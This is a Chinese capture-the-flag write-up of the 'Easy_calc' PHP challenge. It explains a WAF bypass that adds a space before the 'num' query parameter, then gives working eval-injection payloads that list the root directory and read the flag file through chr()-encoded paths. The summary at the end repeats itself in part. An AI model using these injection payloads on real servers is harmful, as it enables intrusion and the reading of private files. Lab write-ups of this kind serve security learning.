Easy_calc

在着手这道题之前 ,我们需要,我们需要一些PHP字符串解析的知识

地址:https://www.freebuf.com/articles/web/213359.html

问题分析

Easy_calc

老规矩,在拿到一个网站后,先查看robots.txt协议

Easy_calc

好的,又没有任何东西。继续,返回F12查看源码
Easy_calc


    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })

$("#content").val()   # JQuery语法 用来获取HTML中属性ID='content' 的值
encodeURIComponent()  #js 函数,用来将字符串作为url组件进行编码

// 这段代码主要是获取content里面的内容,然后编码,和calc.php?num= 进行拼接

(encodeURL() 和encodeuricomponent()的区别可点击次处查看)

我们访问一下/calc.php

Easy_calc

发现calc.php就是对传入content中的内容的一个非法字符过滤

Easy_calc

在简单了解了PHP字符串解析过程后,我们可以构造playload

/calc.php? num=phpinfo()   # 注:?和num之间有个空格,你也可以使用 + 代替
/calc.php?+num=phpinfo()

Easy_calc

出现以上情况,表明我们已经绕过了waf
成功绕过waf之后,第一想法是看看目录中有没有flag的相关信息,

Easy_calc

由于calc.php中出现了eval()函数,所以我首先尝试的是使用system(“ls”),由于calc.php又对输入进行了过滤,所有我有用ascii吗绕过 “ 的ascii值为34,但是行不通

那再试试PHP

PHP中有几个常用来查看目录与文件信息

scandir(directory,sorting_order,context);		# 返回指定目录中的文件和目录的数组。
参数 描述
directory 必需。规定要扫描的目录。
sorting_order 可选。规定排列顺序。默认是 0,表示按字母升序排列。如果设置为 SCANDIR_SORT_DESCENDING 或者 1,则表示按字母降序排列。如果设置为 SCANDIR_SORT_NONE,则返回未排列的结果。
context 可选。规定目录句柄的环境。context 是可修改目录流的行为的一套选项。
void var_dump ( mixed $expression [, mixed $... ] )		# 用来输出变量的相关信息
#   $ expression: 需要输出的变量
file_get_contents(path,include_path,context,start,max_length)		# 将整个文件读入
参数 描述
path 必需。规定要读取的文件。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

可以点击一下简单了解个函数的使用方法以及实例

var_dump()

scandir()

file_get_contents

回到正题,继续构建playload

num=var_dump(scandir(chr(47)))

Easy_calc

可以看到在根目录下发现了一个叫f1agg的目录或文本

ok,继续使用file_get_contents()尝试读取

+num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

Easy_calc

完工

总结

  1. 通过本题,需要了解以及熟知php的字符串解析

Easy_calc

Easy_calc

这两张图能够基本反映关键部分

  1. 熟练掌握php中读取文件和目录的三个函数

    var_dump() # 输出变量的相关信息

    scandir() # 获取指定目录下的目录和文件,返回值为数组

    file_get_contents() # 返回文件内容,

图能够基本反映关键部分

  1. 熟练掌握php中读取文件和目录的三个函数

    var_dump() # 输出变量的相关信息

    scandir() # 获取指定目录下的目录和文件,返回值为数组

    file_get_contents() # 返回文件内容,

上一篇:LeetCode 17. 合并二叉树(Easy)


下一篇:如何利用C++和libCurl使用OCR SDK